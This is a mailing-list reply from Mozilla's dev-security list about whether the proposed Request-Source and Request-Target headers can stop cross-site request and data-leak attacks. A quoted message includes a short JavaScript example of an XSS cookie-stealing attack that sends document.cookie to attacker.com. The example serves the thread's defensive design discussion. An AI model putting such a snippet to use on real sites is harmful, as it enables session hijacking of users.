Terri wrote: > On Jun 17, 9:25 am, Gervase Markham <[EMAIL PROTECTED]> wrote: >> What's the use case for locking down all page communications? > > The traditional one: XSS cookie-stealing attacks like this: > > var image = new Image(); > image.src= ’http://attacker.com/log.php?cookie=’ + > encodeURIComponent(document.cookie);
But you are confusing Request-Source and Request-Target. Request-Target is a set of headers shipped with the page; it would prevent contacting attacker.com at all. This thread thusfar has been about Request-Source. You said: "(1) Because the request-source query involves getting the headers for the resource, it can still be used as a security leak to get information out of the browser by placing it in the URI." It's true that information travels this way, but the "leaky" request will never be made unless attacker.com is in the Request-Target whitelist. So there is no leak. > We did some tests in the lab and in a quick check of a few retailers > didn't find sites that would allow you to complete web purchases with > GET requests, but we found several places (I believe thinkgeek and > maple music were some of the targets) that let you add to a cart with > GETs, so we can't really claim that GET requests do nothing to change > the state of a given web application, even though I believe the specs > say they shouldn't. So there's a possible risk for people who don't review the contents of their cart before hitting "Buy"? :-) > I hadn't been thinking about purchases, though: I was actually > thinking in terms of using GET requests to add comments/forum posts to > a site, which I have seen, Really? I can't remember seeing this either. But perhaps I wasn't paying attention. > and could be used to make self-propagating > web-worms a la Samy, to insert iframe exploits in vulnerable sites, or > just to use users' credentials to post spam including links to > dangerous sites. Again, Request-Target is the mitigating step here. Gerv _______________________________________________ dev-security mailing list dev-security@lists.mozilla.org https://lists.mozilla.org/listinfo/dev-security
